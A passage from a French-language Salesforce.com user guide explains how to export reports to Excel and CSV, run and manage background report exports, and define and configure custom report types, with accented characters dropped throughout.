Notez qu'Excel n'affiche pas le sparateur de champ au format CSV. Si vous souhaitez exporter des rapports vers Excel au
format CSV, vrifiez que les paramtres rgionaux de Salesforce.com correspondent ceux de Windows.

Vous pouvez galement crer un rapport pour les informations de contact, de piste ou de requte, et exporter ces donnes
vers Excel, puis effectuer un publipostage en masse avec Microsoft Word.
Pour gnrer le document de publipostage d'un contact ou d'une piste unique, utilisez la fonction de publipostage.
Reportez-vous Envoi de documents de publipostage uniques la page 1550.

Utilisez l'intgration Excel pour Connect pour Office pour accder aux rapports Salesforce.com et les manipuler dans
Excel en toute scurit. Reportez-vous Prsentation de Force.com Connect pour Microsoft Office la page 2026.
Lorsque vous utilisez l'ID alphanumrique 15 caractres pour identifier un enregistrement de rapport particulier,
assurez-vous que vous utilisez correctement les majuscules et les minuscules (l'ID respecte la casse).
Certaines fonctions Excel, telles que RECHERCHEV permettent de faire en sorte que les ID d'enregistrement de rapport
ne tiennent pas compte de la casse. Pour plus d'informations sur RECHERCHEV, recherchez fonction RECHERCHEV
dans l'aide d'Excel.

Si vous avez coch l'option Ne pas enregistrer les pages cryptes sur le disque de votre navigateur Internet Explorer, vous
ne pourrez pas afficher votre rapport en ligne dans Excel en cliquant sur Vue imprimable ou Exporter les dtails. Vous
devez d'abord enregistrer le rapport export sur votre ordinateur, puis l'ouvrir dans Excel.

Rapports

Guide de l'utilisateur | Impression et exportation des rapports | 1750

Pour modifier ce paramtre dans Internet Explorer, slectionnez Outils Options Internet, cliquez sur l'onglet Avancs
et faites-le dfiler jusqu'au dossier intitul Scurit, puis dslectionnez l'option Ne pas enregistrer les pages cryptes sur
le disque.

propos de l'exportation de rapports en arrire-plan

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour exporter les rapports en arrire-plan :

Exporter les rapports en arrire-plan

Pour afficher les rapports exports en arrire-plan par d'autres Exporter les rapports en arrire-plan
utilisateurs :
ET
Afficher toutes les donnes
Pour grer les rapports exports vers l'arrire-plan par d'autres Exporter les rapports en arrire-plan
utilisateurs :
ET
Modifier toutes les donnes

L'exportation des rapports en arrire-plan permet d'excuter des rapports en arrire-plan afin de continuer l'utilisation de
Salesforce.com sans attendre l'affichage des rsultats des rapports. Elle permet en outre d'excuter les rapports bass sur des
volumes de donnes importants, qui, sans exportation, entraneraient des fins de session en raison du nombre de rsultats
gnrs.
Pour plus d'informations sur l'exportation des rapports en arrire-plan, reportez-vous aux rubriques suivantes :

Exportation de rapports en arrire-plan

Affichage et gestion des rapports en arrire-plan
Remarque: Contactez salesforce.com pour activer cette fonctionnalit dans votre organisation.

Exportation de rapports en arrire-plan

Pour exporter un rapport en arrire-plan :
1. Crez un rapport personnalis ou excutez un rapport existant.
2. Cliquez sur Exporter les dtails, puis slectionnez Excuter l'exportation en arrire-plan dans le menu droulant du
bouton.
Lors de l'excution d'un rapport existant, cliquez sur ce bouton pour viter d'attendre l'affichage des rsultats.
3. Slectionnez un paramtre de codage de fichier et un format de fichier dans lequel exporter le rapport.
4. Slectionnez un mode d'enregistrement du rapport, comme suit :

Rapports

Guide de l'utilisateur | Impression et exportation des rapports | 1751

Cliquez sur Enregistrer les rvisions pour enregistrer les modifications apportes aux paramtres du rapport
avant l'exportation.
Cette option entrane le remplacement des paramtres du rapport d'origine.

Cliquez sur Enregistrer les rvisions dans une copie pour crer un nouveau rapport avant l'exportation.
Si vous slectionnez cette option, saisissez un nom et une description pour le rapport, puis slectionnez un dossier dans
lequel enregistrer les paramtres du rapport.
Remarque: Seuls les paramtres des rapports sont enregistrs dans ces dossiers pour les rapports excuts en
arrire-plan. Pour visualiser les rsultats du rapport, vous devez afficher ses dtails depuis la liste des exportations
de rapports en arrire-plan. Pour plus d'informations, reportez-vous Affichage et gestion des rapports en
arrire-plan.

5. Cliquez sur Dmarrer l'exportation en arrire-plan.

Une fois l'exporation d'un rapport en arrire-plan dmarre, la liste des exportations de rapports en arrire-plan s'affiche.
Lorsque l'excution du rapport est termine et ses rsultats prts pour l'affichage, vous recevez un e-mail de notification.
Cet e-mail contient un lien qui mne aux rsultats du rapport, que vous pouvez tlcharger au format CSV (valeurs spares
par des virgules). Vous pouvez galement tlcharger les rsultats depuis la liste des exportations de rapports en arrire-plan,
en affichant les dtails du rapport, puis en cliquant sur le lien Cliquez ici pour tlcharger un fichier. Pour plus
d'informations, reportez-vous Affichage et gestion des rapports en arrire-plan.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

En cas d'chec d'une exportation de rapport en arrire-plan, vous recevez un e-mail de notification. Les rapports exports
en arrire-plan peuvent chouer pour plusieurs raisons. Par exemple, entre l'heure de l'exportation et le dbut du processus
d'exportation, des champs peuvent tre supprims du rapport, le rapport lui-mme peut tre supprim ou le statut du type
de rapport personnalis ayant servi crer le rapport peut changer en En cours de dveloppement .
Important:

Lorsque l'excution d'un rapport export en arrire-plan est termine, le rapport peut tre affich dans la liste des
exportations de rapports en arrire-plan pendant 48 heures. Aprs 48 heures, le rapport est automatiquement
supprim. Les rapports supprims de la liste des exportations de rapports en arrire-plan sont dfinitivement
supprims et ne sont pas envoys vers la Corbeille. De plus, les rapports exports en arrire-plan sont excuts de
faon squentielle, un la fois. Par consquent, le dernier rapport export en arrire-plan est excut lorsque tous
les rapports dj exports en arrire-plan sont excuts.
Vous pouvez exporter un nombre illimit de rapports en arrire-plan.
Si l'excution d'un rapport prend plus de 30 minutes, Salesforce annule le rapport. Essayez les mthodes suivantes
pour rduire la quantit de donnes dans votre rapport :
-

Filtrez vos propres enregistrements au lieu d'afficher tous les enregistrements.

Limitez ltendue des donnes une plage de dates spcifique.
Excluez les colonnes inutiles du rapport.

Rapports

Guide de l'utilisateur | Impression et exportation des rapports | 1752

Affichage et gestion des rapports en arrire-plan

Vous pouvez afficher et grer les rapports exports pour tre excuts en arrire-plan partir de la liste des exportations de
rapports en arrire-plan. Pour afficher cette liste, cliquez sur Configuration Surveillance Exportations du rapport en
arrire-plan.
partir de cette liste, vous pouvez :

Afficher les dtails d'un rapport export en arrire-plan en cliquant sur le nom d'un rapport dans la colonne Nom de
tche. Ces dtails comprennent les lments suivants :
-

Le nom du rapport
Le statut de l'exportation
Le dossier dans lequel les paramtres du rapport sont enregistrs
Une description du rapport
L'extension de fichier du rapport
La taille du rapport
Le nom de l'utilisateur qui a soumis le rapport pour l'exportation
La date et l'heure auxquelles le rapport a t initialement soumis pour l'exportation

De plus, une fois l'excution d'un rapport export en arrire-plan termine, vous pouvez cliquer sur le lien Cliquez ici pour
tlcharger un fichier afin de tlcharger les rsultats du rapport au format CSV (valeurs spares par des virgules). Vous
pouvez tlcharger uniquement les donnes que vous tes autoris(e) afficher.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce simple test de saisie de texte empche les programmes
malveillants d'accder aux donnes de votre organisation.
Pour russir au test, les utilisateurs doivent saisir les deux mots affichs dans la zone de texte du plan, puis cliquer
sur le bouton Soumettre. Notez que les termes saisis dans la zone de texte doivent tre spars par un espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test
public de Turing entirement automatique ayant pour but de diffrencier les humains des ordinateurs .
Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Cliquez sur Annuler ou Suppr en regard du nom d'un rapport pour annuler une exportation en attente ou supprimer un
rapport d'une liste d'exportations de rapports en arrire-plan. Les rapports supprims de la liste des exportations de rapports
en arrire-plan sont dfinitivement supprims et ne sont pas envoys vers la Corbeille.
Lorsque l'excution d'un rapport export en arrire-plan est termine, le rapport peut tre affich dans la liste des exportations
de rapports en arrire-plan pendant 48 heures. Aprs 48 heures, le rapport est automatiquement supprim. Les rapports
supprims de la liste des exportations de rapports en arrire-plan sont dfinitivement supprims et ne sont pas envoys vers
la Corbeille.
Vous pouvez exporter un nombre illimit de rapports en arrire-plan. De plus, les rapports exports en arrire-plan sont
excuts de faon squentielle, un la fois. Par consquent, le dernier rapport export en arrire-plan est excut lorsque
tous les rapports dj exports en arrire-plan sont excuts.

Cliquez sur Actualiser la liste pour afficher les rapports exports en arrire-plan depuis que vous consultez la liste des
exportations de rapports en arrire-plan.

Rapports

Guide de l'utilisateur | Prsentation du type de rapport personnalis | 1753

Prsentation du type de rapport personnalis

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Les types de rapport personnalis vous permettent de dfinir des critres de rapport partir desquels les utilisateurs peuvent
excuter et crer des rapports personnaliss. Avec les types de rapport personnalis, vous pouvez permettre aux utilisateurs de
crer des rapports partir d'objets standard et personnaliss prdfinis, de relations d'objets, et des champs standard et
personnaliss que vous spcifiez. Par exemple, vous voudrez peut-tre que les utilisateurs excutent et personnalisent des
rapports fonds sur les comptes avec ou sans opportunits. En outre, si votre entreprise a un objet personnalis Garantie, vous
voudrez peut-tre que les utilisateurs excutent et personnalisent des rapports fonds sur les comptes avec opportunits et
garanties incluant des champs particuliers de ces trois objets. Le nombre total de types de rapport personnalis que vous pouvez
crer est limit.
Remarque:
Les utilisateurs disposant de l'autorisation Grer les types de rapport personnalis peuvent consulter et dfinir des types
de rapport personnalis incluant des objets auxquels ils n'ont pas l'autorisation d'accs. Ils ne peuvent nanmoins pas
accder aux donnes stockes dans ces objets. Par exemple, un utilisateur disposant de l'autorisation Grer les types
de rapport personnalis qui n'a pas l'autorisation de consulter les pistes peut visualiser et dfinir des types de rapport
personnalis incluant les pistes, mais il ne peut pas accder aux donnes de ces pistes. Cela permet des utilisateurs
particuliers de crer des types de rapport pour tous les utilisateurs de leur entreprise sans compromettre les paramtres
de scurit des donnes.
En outre, les utilisateurs qui personnalisent et excutent des rapports partir des types de rapport personnalis peuvent
uniquement consulter les rapports contenant des objets auxquels ils ont l'autorisation d'accder. Par exemple, un
utilisateur qui n'a pas l'autorisation d'afficher les comptes ne peut pas personnaliser et excuter un type de rapport
personnalis incluant des comptes.
Aprs avoir configur un type de rapport personnalis :

Les utilisateurs peuvent s'en servir pour crer et excuter des rapports personnaliss.
Vous pouvez mettre jour et supprimer le type de rapport personnalis tout moment.
Vous pouvez ajouter le type de rapport personnalis aux sous-applications que vous tlchargez vers Force.com AppExchange.
Les utilisateurs dsigns comme traducteurs et disposant de l'autorisation Afficher la configuration peuvent traduire les
types de rapport personnalis l'aide du systme de traduction.

Voir aussi :
Prsentation des rapports

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1754

Configuration des types de rapport personnalis

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Vous pouvez rapidement configurer un type de rapport personnalis afin que les utilisateurs puissent crer et excuter des
rapports partir d'objets standard et personnaliss prdfinis, de relations d'objets, et de champs standard et personnaliss que
vous indiquez.
Pour configurer un type de rapport personnalis :
1. Dfinissez un type de rapport personnalis en lui donnant un nom, une description, un objet principal, un statut de
dveloppement et la catgorie dans laquelle il sera stock dans la page Slectionnez le type de rapport de l'assistant de
gnration de rapports.
2. Choisissez les objets du type de rapport personnalis.
Les objets parmi lesquels vous faites votre choix reposent sur les relations de l'objet principal avec d'autres objets. Par
exemple, si des comptes sont slectionns comme objet principal de votre type de rapport personnalis, vous ne pouvez
choisir que les objets standard et personnaliss associs aux comptes, tels que des contacts ou des opportunits. Sont
galement concerns les autres objets ajouts au type de rapport personnalis. Par exemple, si des comptes sont slectionns
comme objet principal de votre type de rapport personnalis et les contacts comme objet secondaire, vous ne pouvez
slectionner que les objets associs aux contacts comme troisime objet dans votre type de rapport personnalis.
Pour plus d'informations sur les relations d'objet, reportez-vous Prsentation des relations la page 697.
3. Modifiez la prsentation de la page Slectionnez les colonnes dans l'assistant de gnration de rapports pour indiquer les
champs standard et personnaliss qu'un rapport peut contenir lorsqu'il est cr ou excut partir du type de rapport
personnalis.
Vous pouvez uniquement inclure dans la page Slectionnez les colonnes des champs associs aux objets ajouts au type de
rapport personnalis. Par exemple, si vous avez ajout l'objet des comptes au type de rapport personnalis, vous pouvez
ajouter les champs de compte dans la page Slectionnez les colonnes de l'assistant de gnration de rapports.
4. Crez un rapport partir du type de rapport personnalis pour vous assurer qu'il contient tous les objets et champs ncessaires
aux utilisateurs.
Lorsque vous avez fini de tester votre type de rapport personnalis, vous pouvez le mettre disposition des utilisateurs en
marquant son
statut de dploiement comme tant dploy. Pour plus d'informations, reportez-vous Dfinition des types de
rapport personnalis la page 1757.
5. Vous pouvez ventuellement procder comme suit :

Si votre entreprise utilise le systme de traduction, traduisez les types de rapport personnalis pour les utilisateurs au
niveau international. Pour plus d'informations, reportez-vous Configuration du systme de traduction la page 88.
Conseil: Lorsque vous crez un type de rapport personnalis qui va tre traduit en plusieurs langues via le
systme de traduction, nous vous conseillons de faire correspondre vos paramtres de langue avec la langue par
dfaut de votre entreprise. Cette opration garantit que les mots traduits apparatront dans la langue approprie
pour les traducteurs. Pour plus d'informations, reportez-vous Modification des informations personnelles
la page 20.

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1755

Ajoutez le type de rapport personnalis aux sous-applications que vous tlchargez vers Force.com AppExchange.

Aprs avoir configur un objet personnalis, vous pouvez le mettre jour tout moment. Pour plus d'informations, reportez-vous
Gestion des types de rapport personnalis la page 1764.
Avant de crer des types de rapport personnalis pour votre entreprise, consultez les renseignements suivants concernant les
meilleures pratiques en vigueur.
Conseils en matire de mise en uvre

Les utilisateurs disposant de l'autorisation Grer les types de rapport personnalis peuvent consulter et dfinir des types de
rapport personnalis incluant des objets auxquels ils n'ont pas l'autorisation d'accs. Ils ne peuvent nanmoins pas accder
aux donnes stockes dans ces objets. Par exemple, un utilisateur disposant de l'autorisation Grer les types de rapport
personnalis qui n'a pas l'autorisation de consulter les pistes peut visualiser et dfinir des types de rapport personnalis
incluant les pistes, mais il ne peut pas accder aux donnes de ces pistes. Cela permet des utilisateurs particuliers de crer
des types de rapport pour tous les utilisateurs de leur entreprise sans compromettre les paramtres de scurit des donnes.
L'objet principal que vous slectionnez dtermine les vues disponibles pour les utilisateurs qui crent ou excutent des
rapports sur la base de votre type de rapport personnalis. Par exemple, si vous slectionnez des comptes en tant qu'objets
principaux de votre type de rapport personnalis, les utilisateurs peuvent afficher les rsultats de rapport en slectionnant
l'option Tous les comptes ou Mes comptes dans la liste droulante Afficher situe sur la page Slectionnez les
critres de l'assistant de gnration de rapports ou dans les options du rapport.
Vous pouvez ajouter jusqu' quatre objets un type de rapport personnalis. Toutefois, certaines combinaisons d'objets
que vous choisissez risquent de ne pas pouvoir atteindre cette limite. Par exemple, si vous ajoutez des contacts comme objet
principal, des requtes comme objet secondaire et des activits comme troisime objet, vous ne pouvez pas ajouter d'autres
objets, car les activits ne disposent pas de relations d'objet allant au-del de cette limite.
Les rapports excuts partir de types de rapport qui comprennent des territoires peuvent afficher les rsultats de faon
diffrente des rapports standard qui comprennent des territoires. Cela est d au fait que des rapports excuts partir de
types de rapport n'affichent que des rsultats avec des territoires, alors que des rapports standard qui comprennent des
territoires peuvent afficher des rsultats sans territoires. Par exemple, si vous slectionnez le Rapport sur le territoire du
compte, les rsultats affichent les comptes sans territoires. En outre, le filtre Territoires sur des rsultats de rapport
de types de rapports personnaliss qui incluent des territoires n'inclut ni Plusieurs territoires ni Territoires manquants.
Vous ne pouvez pas ajouter les champs suivants aux types de rapport personnalis :
-

Champs de calendrier du produit

Champs d'historique
Champs de compte personnel
Champ Anciennet concernant les requtes et les opportunits

Vous pouvez ajouter jusqu' 1 000 champs chaque type de rapport personnalis. Le nombre total de champs partir
desquels un utilisateur peut choisir de crer des rapports pour un objet particulier dans l'assistant de gnration de rapports
apparat dans la colonne Champs slectionns de la page de dtails d'un type de rapport personnalis.
Les champs renomms d'objets standard, ainsi que les objets standard renomms, n'apparaissent pas comme tels dans la
prsentation des champs du type de rapport personnalis. Cependant, les champs renomms partir d'objets standard et
les objets standard renomms affichent leur nouveau nom dans la page Slectionnez les colonnes de l'assistant de gnration
de rapports et dans la page d'aperu Slectionnez les colonnes laquelle vous pouvez accder en cliquant sur Prvisualiser
la prsentation.
Tenez compte des informations suivantes pour ajouter des champs via une recherche la page de prsentation de champ
d'un type de rapport personnalis :
-

Vous ne pouvez ajouter des champs via la recherche que s'ils sont associs des objets inclus dans le type de rapport
personnalis. Par exemple, si vous ajoutez l'objet Comptes au type de rapport personnalis, vous pouvez ajouter des
champs partir d'objets avec lesquels les comptes ont une relation de recherche.

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1756

La slection d'un champ de recherche dans le plan Ajouter des champs via la recherche vous permet d'accder des
champs de recherche supplmentaires partir d'autres objets avec lesquels il existe une relation de recherche. Par
exemple, si vous slectionnez le champ Nom du contact partir des requtes, vous pouvez slectionner le champ
Compte partir des contacts parce que les comptes ont une relation de recherche avec les contacts qui ont eux-mmes
une relation de recherche avec les requtes.
Les champs affichs dans le plan Ajouter des champs via la recherche n'incluent pas les champs de recherche dans les
objets principaux. Par exemple, si les comptes constituent l'objet principal de votre type de rapport personnalis et que
les contacts reprsentent l'objet secondaire, le plan Ajouter des champs via la recherche n'affiche pas les champs de
recherche des contacts aux comptes.
Les champs ajouts la prsentation via le lien Ajouter des champs associs via la recherche sont automatiquement
inclus dans la section de l'objet dont ils sont un champ de recherche. Par exemple, si vous ajoutez le champ Contact
en tant que recherche partir des comptes, le champ Contact est automatiquement inclus dans la section Comptes.
Cependant, vous pouvez faire glisser un champ vers n'importe quelle section.
Les champs ajouts via la recherche affichent automatiquement l'icne de recherche dans la prsentation de champ du
type de rapport personnalis.
Vous pouvez ajouter jusqu' 60 objets par type de rapport personnalis via la recherche. Par exemple, si vous slectionnez
la limite maximale de quatre relations d'objet pour un type de rapport personnalis, vous pouvez slectionner des champs
via la recherche partir de 56 objets supplmentaires. Toutefois, les utilisateurs recevront un message d'erreur s'ils
excutent un rapport partir d'un type de rapport personnalis et que le rapport contient des colonnes provenant de
plus de 20 objets diffrents.
Si vous ajoutez des activits comme objet principal sur un type de rapport personnalis, vous pouvez uniquement ajouter
des champs de recherche des activits vers les comptes dans la prsentation de slection de colonnes du type de rapport
personnalis.

Les rapports excuts partir de types de rapport personnalis incluant des requtes n'affichent pas la liste droulante
Units, qui permet aux utilisateurs de consulter les valeurs temporelles de certains champs de requte par heures, minutes
ou jours.

Les meilleures pratiques

Une fois un type de rapport personnalis enregistr, vous ne pouvez pas modifier l'objet principal qui lui est associ. Si vous
souhaitez modifier l'objet principal, vous devez dfinir un nouveau type de rapport personnalis.
Choisissez le statut de dploiement En cours de dveloppement lorsque vous crez votre type de rapport personnalis
pour le cacher aux utilisateurs pendant sa conception et son test. Le statut En cours de dveloppement empche tous les
utilisateurs, sauf ceux autoriss grer les types de rapport personnalis, de voir le type de rapport personnalis et les rapports
qui en dcoulent. De plus, si vous attribuez la valeur En cours de dveloppement au statut, vous empchez tous les utilisateurs,
except ceux disposant de l'autorisation Grer les types de rapport personnalis, de crer et d'excuter des rapports de ce
type de rapport.
Choisissez Dploy comme statut de dploiement lorsque vous souhaitez autoriser les utilisateurs crer et excuter
des rapports sur la base du type de rapport personnalis.
Aprs avoir dploy un type de rapport personnalis, rtablissez le statut de dploiement sur En cours de
dveloppement si vous souhaitez lui apporter d'autres amliorations.
Organisez les champs dans les sections tels que vous souhaitez que les utilisateurs les voient dans l'assistant de gnration
de rapports.
Obtenir un aperu de la page Slectionnez les colonnes dans l'assistant de gnration de rapports telle qu'elle va apparatre
aux utilisateurs dans les rapports excuts partir du type de rapport personnalis en cliquant sur Prvisualiser la prsentation
dans la section Champs exposs pour la gnration de rapport.
Si le systme de traduction est activ pour votre entreprise, vous pouvez traduire des types de rapport personnalis pour
des utilisateurs internationaux.
Vous pouvez ajouter le type de rapport personnalis aux sous-applications que vous tlchargez sur Force.com AppExchange.
Pour plus d'informations, reportez-vous Prsentation des sous-applications la page 831.

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1757

Vous pouvez prslectionner les champs souvent utiliss dans la prsentation Slectionner une colonne de l'assistant de
gnration de rapports via un type de rapport personnalis en cliquant sur Modifier les proprits dans la prsentation des
champs du type de rapport personnalis, puis en cochant la case Coch par dfaut en regard du champ. Les champs
slectionns par dfaut affichent automatiquement l'icne de la case cocher ( ) dans la prsentation des champs du type
de rapport personnalis.
Vous pouvez rduire le temps que met un utilisateur pour trouver les champs partir desquels gnrer des rapports dans
la prsentation Slectionner une colonne de l'assistant de gnration de rapport. Pour ce faire, regroupez les champs
similaires dans les prsentations de champ des types de rapport personnalis. En outre, vous pouvez crer des sections de
page dans lesquelles vous pouvez regrouper les champs associs. Vous pouvez galement regrouper les champs afin de
mettre en correspondance des pages de dtails prcises et des types d'enregistrement.
Vous pouvez crer des types de rapport personnalis partir desquels les utilisateurs peuvent crer des rapports sur les
rapports et tableaux de bord de votre entreprise. Lorsque vous dfinissez un type de rapport personnalis, slectionnez
Rapports ou Tableaux de bord dans la liste droulante Objet principal de la page Nouveau type de rapport personnalis.
Pour plus d'informations, reportez-vous Dfinition des types de rapport personnalis la page 1757.

Voir aussi :
Prsentation du type de rapport personnalis

Dfinition des types de rapport personnalis

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Vous dfinissez les types de rapport personnalis par objets, relations d'objet et champs. Une fois que vous avez dfini un type
de rapport personnalis, les utilisateurs peuvent crer des rapports personnaliss en fonction de ce type.
Pour dfinir des types de rapport personnalis :
1. Cliquez sur Configuration Crer Type de rapport.
2. Cliquez sur Nouveau type de rapport personnalis.
3. Dans la liste droulante Objet principal, slectionnez l'objet principal partir duquel vous souhaitez crer le type de
rapport personnalis.

Tous les objets s'affichent dans la liste droulante Objet principal, y compris ceux pour lesquels vous n'avez aucune
autorisation d'affichage. Par exemple, mme si vous n'tes pas autoris visualiser des pistes, les pistes sont disponibles
dans la liste droulante Objet principal. Vous pouvez ainsi crer des types de rapport sur les pistes pour d'autres
utilisateurs. Pour plus d'informations sur les autorisations, reportez-vous Gestion des profils la page 108.
L'objet principal que vous slectionnez dtermine les vues disponibles pour les utilisateurs qui crent ou excutent des
rapports sur la base de votre type de rapport personnalis. Par exemple, si vous slectionnez des comptes en tant qu'objets
principaux de votre type de rapport personnalis, les utilisateurs peuvent afficher les rsultats de rapport en slectionnant
l'option Tous les comptes ou Mes comptes dans la liste droulante Afficher situe sur la page Slectionnez
les critres de l'assistant de gnration de rapports ou dans les options du rapport.

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1758

Aprs avoir enregistr un type de rapport personnalis, vous ne pouvez pas modifier l'objet principal qui lui est associ.
Si vous souhaitez modifier l'objet principal, vous devez dfinir un nouveau type de rapport personnalis.

4. Renseignez les champs tiquette de type de rapport et Nom de type de rapport.

Le Nom de type de rapport permet de rfrencer le composant lors de l'utilisation de l'API des services Web
Force.com.
5. Saisissez la description de votre type de rapport personnalis.
6. Slectionnez une catgorie dans laquelle stocker le type de rapport personnalis dans la page Slectionnez le type de rapport
de l'assistant de gnration de rapports.
Les catgories correspondent aux options de la liste droulante Slectionnez le type de donnes partir
duquel gnrer le rapport propose la premire tape de l'assistant de rapport.
7. Slectionnez un statut de dveloppement :

Choisissez le statut de dploiement En cours de dveloppement lorsque vous crez votre type de rapport
personnalis pour le cacher aux utilisateurs pendant sa conception et son test. Le statut En cours de dveloppement
empche tous les utilisateurs, sauf ceux autoriss grer les types de rapport personnalis, de voir le type de rapport
personnalis et les rapports qui en dcoulent. De plus, si vous attribuez la valeur En cours de dveloppement au statut,
vous empchez tous les utilisateurs, except ceux disposant de l'autorisation Grer les types de rapport personnalis, de
crer et d'excuter des rapports de ce type de rapport.
Choisissez Dploy comme statut de dploiement lorsque vous souhaitez autoriser les utilisateurs crer et
excuter des rapports sur la base du type de rapport personnalis.

8. Cliquez sur Suivant.

9. Ensuite, choisissez les relations d'objet qu'un rapport peut afficher lorsqu'il est excut partir d'un type de rapport
personnalis.
Conseils concernant la dfinition de types de rapports personnaliss
Tenez compte des lments suivants lors de la dfinition de types de rapports personnaliss :

Si l'objet principal d'un type de rapport personnalis est un objet personnalis et que vous le supprimez, le type de rapport
personnalis et tous les rapports qu'il a servi gnrer sont automatiquement supprims. En outre, des types de rapports
personnaliss associs des objets personnaliss dans la liste Objets personnaliss supprims sont pris en compte dans le
nombre maximal de types de rapports personnaliss que vous pouvez crer. Pour plus d'informations, reportez-vous
Gestion des objets personnaliss supprims la page 712 et ditions Salesforce.com et limites la page 932.
Si vous saisissez un nom pour votre type de rapport personnalis, salesforce.com recommande d'inclure avec ou avec
ou sans entre les noms d'objet pour aider les utilisateurs dterminer quelles donnes sont affiches dans des rapports
excuts partir de votre type de rapport personnalis. Par exemple, si vous dfinissez un type de rapport personnalis
partir duquel des utilisateurs peuvent excuter des rapports qui incluent des comptes qui peuvent ou non avoir des contacts,
veillez nommer ce rapport Comptes avec ou sans contacts.
En outre, si vous entrez une description pour votre type de rapport personnalis, nous vous recommandons de clarifier la
faon dont les relations avec l'objet influencent les rsultats du rapport. Par exemple, si vous dfinissez un type de rapport
personnalis partir duquel des utilisateurs peuvent excuter des rapports qui incluent des comptes qui peuvent ou non
avoir des contacts, veuillez dcrire ce rapport Ceci vous permet d'excuter des rapports sur des
comptes et leurs contacts. Les comptes s'affichent s'ils n'ont pas de contacts.

Les types de rapports personnaliss sont limits dans le nombre d'lments inclus :
-

Un type de rapport personnalis peut extraire des objets dans trois niveaux de listes associes depuis l'objet principal,
offrant ainsi quatre objets associs, tels que Comptes, Contacts, Opportunits et Produits d'opportunit.

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1759

Un type de rapport personnalis peut contenir des champs disponibles via la recherche dans quatre niveaux de relations
de recherche. Par exemple pour un compte, vous pouvez obtenir le responsable du compte, le directeur du responsable
du compte, le rle du directeur et le rle parent de ce rle.
Un type de rapport personnalis peut rfrencer jusqu' 60 objets. Ces objets peuvent tre utiliss comme quatre objets
principaux, comme champs sources via la recherche ou comme objets permettant de traverser les relations. Chaque
objet rfrenc est comptabilis dans la limite autorise, mme si aucun de leur champ n'est choisi. Par exemple, si vous
effectuez une recherche d'un compte au responsable du compte et au rle de responsable du compte, sans slectionner
de champ dans le responsable du compte, les objets rfrencs sont toutefois pris en compte dans la limite de 60 objets.
Un type de rapport personnalis peut contenir jusqu' 1 000 champs. Un compteur en haut de l'tape Prsentation de
page indique le nombre de champs actuellement inclus. Si le nombre de champs est trop important, vous ne pouvez
pas enregistrer la prsentation de page.

Aprs avoir dploy un type de rapport personnalis, rtablissez le statut de dploiement sur En cours de
dveloppement si vous souhaitez lui apporter d'autres amliorations.
Le statut de dploiement d'un type de rapport personnalis passera automatiquement de Dploy En cours de
dveloppement si son objet principal est un objet personnalis dont le statut de dploiement passe de Dploy
En cours de dveloppement.
Un dveloppeur peut modifier un type de rapport personnalis dans un package gr aprs sa publication. Les abonns
reoivent automatiquement ces modifications lorsqu'ils installent une nouvelle version du package gr. Cependant, les
dveloppeurs ne peuvent pas supprimer des objets ou des champs du type de rapport une fois que le package est publi.

Voir aussi :
Prsentation des rapports
Prsentation du type de rapport personnalis
Gestion des types de rapport personnalis

Modification de la prsentation Slectionnez les colonnes dans l'assistant

de de rapports pour un type de rapport personnalis
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Aprs avoir dfini un type de rapport personnalis et choisi ses relations d'objet, vous pouvez indiquer les champs standard et
personnaliss qu'un rapport peut afficher lorsqu'il est cr ou excut partir d'un type de rapport personnalis :
1. Cliquez sur Configuration Crer Types de rapport pour afficher la page Tous les types de rapport personnalis.
2. Slectionnez le nom d'un type de rapport personnalis.
3. Cliquez sur Modifier la prsentation dans la section Champs disponibles pour les rapports.
Remarque: Vous pouvez cliquer sur Prvisualiser la prsentation pour prvisualiser les champs qui apparatront
dans la page Slectionnez les colonnes d'un rapport personnalis ou excut partir de ce type de rapport. Lors de
la prvisualisation de la prsentation, tous les champs et objets sont affichs, y compris les champs et les objets pour

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1760

lesquels vous ne disposez d'aucune autorisation d'accs. Cependant, vous ne pouvez accder aucune donne stocke
dans les champs ou les objets pour lesquels vous ne disposez d'aucune autorisation d'accs.
4. Slectionnez les champs dans la zone de droite, puis faites-les glisser dans une section situe sur la gauche.
Vous pouvez afficher les champs d'un objet particulier en slectionnant un objet dans la liste droulante Afficher.
5. Vous pouvez galement cliquer sur Ajouter des champs associs via la recherche pour afficher le plan Ajouter des champs
via la recherche, partir duquel vous pouvez ajouter des champs via la relation de recherche que l'objet slectionn dans la
liste droulante Afficher a avec d'autres objets.

Un champ de recherche est un champ d'un objet qui affiche des informations provenant d'un autre objet. Par exemple,
le champ Nom du contact d'un compte. Pour plus d'informations sur les relations d'objet, reportez-vous Prsentation
des relations la page 697.
Vous ne pouvez ajouter des champs via la recherche que s'ils sont associs des objets inclus dans le type de rapport
personnalis. Par exemple, si vous ajoutez l'objet Comptes au type de rapport personnalis, vous pouvez ajouter des
champs partir d'objets avec lesquels les comptes ont une relation de recherche.
La slection d'un champ de recherche dans le plan Ajouter des champs via la recherche vous permet d'accder des
